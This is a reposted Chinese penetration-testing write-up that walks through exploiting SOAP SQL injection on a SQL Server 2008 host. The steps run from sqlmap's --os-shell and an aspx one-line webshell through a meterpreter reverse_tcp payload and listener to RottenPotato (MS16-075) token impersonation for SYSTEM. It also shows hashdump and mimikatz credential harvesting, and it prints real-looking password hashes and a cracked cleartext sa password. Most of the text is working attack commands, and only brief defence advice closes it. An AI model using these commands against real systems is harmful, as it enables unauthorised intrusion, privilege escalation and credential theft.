0

0

soap注入某sql2008服务器结合msf如何进行提权

PHPz

PHPz

发布时间:2023-05-11 21:25:04

|

2397人浏览过

|

来源于亿速云

转载

在实际成功渗透过程中,漏洞的利用都是多个技术的融合,最新技术的实践,本次渗透利用sqlmap来确认注入点,通过sqlmap来获取webshell,结合msf来进行ms16-075的提权,最终获取了目标服务器的系统权限。本文算是漏洞利用的一个新的拓展,在常规nday提权不成功的情况下,结合msf进行ms16-075成功提权的一个经典案例。

1.1.1扫描soap注入漏洞

    1.使用awvs中的web services scanner进行漏洞扫描   打开awvs,选择web services scanner进行漏洞扫描,如图1所示,在wsdl url中填写目标url地址,注意一定是asmx?wsdl,有的是有asmx文件,如果没有则可以直接填写,例如:http://1**.***.***.***:8081/?wsdl。


soap注入某sql2008服务器结合msf如何进行提权

图1进行soap注入漏洞扫描

2.处理sql盲注    

    通过awvs扫描,确认该url地址存在sql盲注(26处),在awvs中,单击右边的“view http headers”,将其内容复制到一个文本文件中,同时处理存在漏洞的语句,在本例中例如:

soap注入某sql2008服务器结合msf如何进行提权
需要将红色字图部分更换为”-1*”。

3.完整的header包中内容如下:

POST /Service1.asmx HTTP/1.1

Content-Type: text/xml

SOAPAction: "http://tempuri.org/ZcpdList"

Content-Length: 716

X-Requested-With: XMLHttpRequest

Referer: http://1**.***.***.***:8081/?wsdl

Host: 1**.***.***.***:8081

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

     

     

       

           

             -1*

           

       

     

Response

1.1.2确认soap注入漏洞

    1.使用sqlmap检测是否存在sql注入漏洞   将前面的header中的内容保存为1**.***.***.***.txt,将该文件复制到sqlmap.py程序所在目录,执行命令:sqlmap.py -r 1**.***.***.***.txt,对sqlmap提示的信息进行确认:

custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/q] [color=Red]y[/color]

SOAP/XML data found in POST data. Do you want to process it? [Y/n/q][color=Red]y[/color]

如图2所示,sqlmap确认该sql注入漏洞存在,且该数据库服务器为windows 2008 R2,数据库版本为sql server 2008,soap存在漏洞为union查询。


soap注入某sql2008服务器结合msf如何进行提权

图2 存在soap注入漏洞

2.查看数据库是否dba权限(1)自动提交参数进行测试如图3所示,执行命令:sqlmap.py -r 1**.***.***.***.txt --is-dba --batch后,也要两次确认y,由于使用了参数“batch”,sqlmap会自动进行提交判断值。

soap注入某sql2008服务器结合msf如何进行提权

图3自动提交参数进行判断

(2)获取当前数据库使用的用户是dba账号。    如图4所示,在sqlmap中获取当前用户是dba,显示结果为true。该结果表明数据库是使用sa权限,可以通过os-shell参数来获取webshell。

soap注入某sql2008服务器结合msf如何进行提权

图4判断是否为dba账号

3.获取sa账号密码

   如图5所示,使用命令sqlmap.py -r 1**.***.***.***.txt --password --batch直接获取该数据库连接的所有账号对应的密码值:


soap注入某sql2008服务器结合msf如何进行提权

图5获取sa账号密码

4.破解sa账号密码   在前面通过sqlmap成功获取其数据库密码哈希值:

##MS_PolicyEventProcessingLogin## [1]:

   password hash: 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838 ##MS_PolicyTsqlExecutionLogin## [1]:

   password hash: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c sa [1]:

password hash: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28  将sa对应的密码值“0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28”在www.cmd5.com进行查询,如图6所示,其解密结果为“qaz123WSX”。

soap注入某sql2008服务器结合msf如何进行提权

图6解密sa密码哈希值

1.1.3通过--os-shell获取webshell1.获取os-shell在sqlmap中执行命令:sqlmap.py -r 1**.***.***.***.txt --os-shell,在sqlmap执行窗口中确认信息:


soap注入某sql2008服务器结合msf如何进行提权

   也可以执行sqlmap.py -r 1**.***.***.***.txt --os-shell --batch命令不用手工输入。

2.寻找web程序所在目录

(1)查看文件及目录

  执行dir c:\命令后,可以查看c目录及文件,继续查看“dir c:\inetpub\wwwroot”如图7所示,在该文件夹中无web程序,排除该目录。

soap注入某sql2008服务器结合msf如何进行提权

图7查看文件及目录

(2)获取网站真实目录   通过依次查看c、d、e、f盘,在e盘获取疑似网站程序文件,使用命令进行查看dir e:\software\AMS_NoFlow,如图8所示。

soap注入某sql2008服务器结合msf如何进行提权

图8查看网站文件

3.测试网站真实目录

(1)生成文件测试   如图9所示,使用echo命令:echo "thisis test">e:\software\AMS_NoFlow\t.txt,在网站根目录下生成t.txt文件。内容为thisis test。

soap注入某sql2008服务器结合msf如何进行提权

图9生成文件

(2)网站访问测试

   在浏览器中输入地址http://1**.***.***.***/1.txt进行测试,如图10所示,获取内容跟预期一致,该目录为网站真实物理地址。

soap注入某sql2008服务器结合msf如何进行提权

图10网站访问测试

4. 获取web.config配置文件内容   

在os-shell中,执行type e:\software\AMS_NoFlow\web.config命令查看web.config文件中的内容,在sqlmap命令窗口由于设置问题,可能无法查看其完整的内容,不过sqlmap在其output目录下,会保持详细情况,如图11所示,打开其log文件,可以看到其sa账号对应的密码为qaz123WSX,跟前面破解的sa密码一致。

soap注入某sql2008服务器结合msf如何进行提权

图11查看web.config配置文件内容

5.获取ip地址信息   

如图12所示,在os-shell中执行ipconfig命令,即可获取该目标的IP地址配置情况,该目标对外配置独立外网IP和内网IP地址,在os-shell中还可以执行其它命令。

soap注入某sql2008服务器结合msf如何进行提权

图12获取IP地址

6. 获取webshell测试

(1)生成shell文件

  在os-shell中执行命令:

echo ^^ > e:\software\AMS_NoFlow\cmd.aspx

如图13所示,回显结果显示1,无其它信息,表面生成文件命令成功。


soap注入某sql2008服务器结合msf如何进行提权

谱乐AI
谱乐AI

谱乐AI,集成 Suno、Udio 等顶尖AI音乐模型的一站式AI音乐生成平台。

下载

图13 生成webshell

(2)获取webshell    使用中国菜刀后门管理工具,创建记录http://1**.***.***.***/cmd.aspx,一句话后门密码:pass,如图14所示,连接成功,成功获取webshell。


soap注入某sql2008服务器结合msf如何进行提权

图14获取webshell

1.1.4常规方法提权失败

1.生成系统信息文件  在os-shell中执行命令:

soap注入某sql2008服务器结合msf如何进行提权

2.下载Windows-Exploit-Suggester程序Windows-Exploit-Suggester下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester/

3.更新漏洞库并进行漏洞比对   在python中执行windows-exploit-suggester.py -u进行更新,同时对漏洞库进行比对:windows-exploit-suggester.py  --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt,如图15所示。


soap注入某sql2008服务器结合msf如何进行提权

图15进行漏洞比对

4.查看漏洞情况   在C:\Python27目录打开SYD1-0081DSB-day.txt文件,如图16所示,可以看到程序判断该操作系统为windows 2008 R2版本,且存在多个漏洞,最新漏洞为ms16-075。


soap注入某sql2008服务器结合msf如何进行提权

图16查看漏洞情况

5.对存在的漏洞进行提权测试   按照漏洞编号,查找并整理exp文件,在目标服务器上进行提权测试,除ms16-075exp外,测试均失败,无法提权。

1.1.5借助msf进行ms16-075提权

1.使用msf生成反弹木马

在msf下面执行命令:


soap注入某sql2008服务器结合msf如何进行提权

其中windows/meterpreter/reverse_tcp反弹端口类型,lhost是反弹连接的服务器Ip地址,注意该ip地址必须是独立服务器,或者必须是外网端口映射,换句话说,就是反弹必须能够接收,lport为反弹的端口,4433为生成的程序。

2.在监听服务器上执行监听命令

(1)启动msf

msfconsole

(2)配置meterpreter参数


soap注入某sql2008服务器结合msf如何进行提权

3.上传4433.exe程序到目标服务器及执行

   将4433.exe文件上传到目标服务器,并通过中国彩刀或者os-shell进行执行。

4.查看系统信息

   如图17所示,目标反弹到监听服务器上,执行sysinfo,获取其系统信息。

soap注入某sql2008服务器结合msf如何进行提权

图17获取系统信息

5.使用meterpreter自带提权功能失败

   在meterpreter中分别执行getuid和getsystem命令,如图18所示,未能成功提权。


soap注入某sql2008服务器结合msf如何进行提权

图18使用默认meterpreter提权失败

6.使用ms16-075进行提权

(1)ms16-075可利用exp下载https://github.com/foxglovesec/RottenPotato

(2)上传potato文件

   通过webshell上传potato.exe文件,或者在msf下面执行命令上传:upload  /root/potato.exe

(3)获取系统权限  依次执行以下命令:


soap注入某sql2008服务器结合msf如何进行提权

如图19所示,成功获取系统权限。

soap注入某sql2008服务器结合msf如何进行提权

图19获取系统权限tokens

(4)获取系统权限分别执行命令:


soap注入某sql2008服务器结合msf如何进行提权

如图20所示,成功获取系统权限。


soap注入某sql2008服务器结合msf如何进行提权

图20获取系统权限

(5)获取密码  

在meterpreter下执行命令:run hashdump命令,如图21所示,成功获取该服务器密码哈希值:Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::

soap注入某sql2008服务器结合msf如何进行提权

图21获取密码   

在本例中还是用load mimikatz进行明文密码获取,但获取效果不理想,执行命令:kerberos、livessp、msv、ssp、tspkg、wdigest获取不到明文密码,还可以执行命令mimikatz_command,进入mimikatz命令提示符下进行操作。

(6)破解ntml密码  将ntml密码哈希值a59a64a645487c1581dea603253c7920复制到cmd5.com进行破解, cmd5需要付费,还可以到:http://www.objectif-securite.ch/en/ophcrack.php和https://www.somd5.com/网站 进行密码破解,如图22所示,成功破解密码。


soap注入某sql2008服务器结合msf如何进行提权

图22破解ntlm哈希值

7.登录服务器   通过nmap -sS -Pn -A 1**.***.***.***或者masscan -p 1-65535 1**.***.***.***进行端口扫描,发现该服务器开放3389端口,使用mstsc进行登录,如图23所示,成功登录该服务器。


soap注入某sql2008服务器结合msf如何进行提权

图23成功登录服务器

1.1.6总结与防御

1.本次渗透主要命令汇总

(1)sqlmap执行命令

soap注入某sql2008服务器结合msf如何进行提权

(2)os-shell下执行命令


ipconfigdir c:/echo "thisis test">e:\software\AMS_NoFlow\t.txtecho ^^ > e:\software\AMS_NoFlow\cmd.aspx

(3)msf下执行命令生成反弹木马:

soap注入某sql2008服务器结合msf如何进行提权

(4)msf启动及监听


msfconsoleuse exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.33(实际为外网IP地址)set LPORT 4433exploit

(5)ms16-075提权命令


use incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -u impersonate_token "NT AUTHORITY\\SYSTEM"getuid

(6)获取密码run hashdump

(7)mimikatz进行密码获取

load mimikatzkerberos、livessp、msv、ssp、tspkg、wdigest(逐个命令测试,有的会显示明文密码)mimikatz_command:mimikatz命令提示窗口

(8)mimikatz命令行下获取密码(未做测试)

soap注入某sql2008服务器结合msf如何进行提权

2.渗透总结  

在本次渗透中,通过sqlmap进行soap注入测试,通过sqlmap判断sql注入点可用,后续通过os-shell成功获取了webshell。获取webshell后,尝试通过常规的Nday提权方法,结果失败,后续通过msf配合进行ms16-075进行提权。Windows-Exploit-Suggester进行本地漏洞的判断和测试效果还是可以的,通过其审计,使用最新漏洞进行提权,基本命中率在99%。

3.安全防御   

成功渗透该服务器后,在该服务器上未发现有任何安全防护软件,笔者根据经验,建议做如下安全防御:

(1)对soap参数进行过滤,过滤危险的一些导致sql注入的参数。

(2)mssql数据库使用低权限用户进行数据库连接。

(3)服务器定期进行补丁更新升级。

(4)安装杀毒软件、waf及硬件防火墙,增加攻击成本和难度

相关专题

更多
Java 桌面应用开发(JavaFX 实战)
Java 桌面应用开发(JavaFX 实战)

本专题系统讲解 Java 在桌面应用开发领域的实战应用,重点围绕 JavaFX 框架,涵盖界面布局、控件使用、事件处理、FXML、样式美化(CSS)、多线程与UI响应优化,以及桌面应用的打包与发布。通过完整示例项目,帮助学习者掌握 使用 Java 构建现代化、跨平台桌面应用程序的核心能力。

37

2026.01.14

php与html混编教程大全
php与html混编教程大全

本专题整合了php和html混编相关教程,阅读专题下面的文章了解更多详细内容。

19

2026.01.13

PHP 高性能
PHP 高性能

本专题整合了PHP高性能相关教程大全,阅读专题下面的文章了解更多详细内容。

37

2026.01.13

MySQL数据库报错常见问题及解决方法大全
MySQL数据库报错常见问题及解决方法大全

本专题整合了MySQL数据库报错常见问题及解决方法,阅读专题下面的文章了解更多详细内容。

19

2026.01.13

PHP 文件上传
PHP 文件上传

本专题整合了PHP实现文件上传相关教程,阅读专题下面的文章了解更多详细内容。

16

2026.01.13

PHP缓存策略教程大全
PHP缓存策略教程大全

本专题整合了PHP缓存相关教程,阅读专题下面的文章了解更多详细内容。

6

2026.01.13

jQuery 正则表达式相关教程
jQuery 正则表达式相关教程

本专题整合了jQuery正则表达式相关教程大全,阅读专题下面的文章了解更多详细内容。

3

2026.01.13

交互式图表和动态图表教程汇总
交互式图表和动态图表教程汇总

本专题整合了交互式图表和动态图表的相关内容,阅读专题下面的文章了解更多详细内容。

45

2026.01.13

nginx配置文件详细教程
nginx配置文件详细教程

本专题整合了nginx配置文件相关教程详细汇总,阅读专题下面的文章了解更多详细内容。

9

2026.01.13

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
SQL 教程
SQL 教程

共61课时 | 3.4万人学习

SQL优化与排查(MySQL版)
SQL优化与排查(MySQL版)

共26课时 | 2.3万人学习

MySQL索引优化解决方案
MySQL索引优化解决方案

共23课时 | 2万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号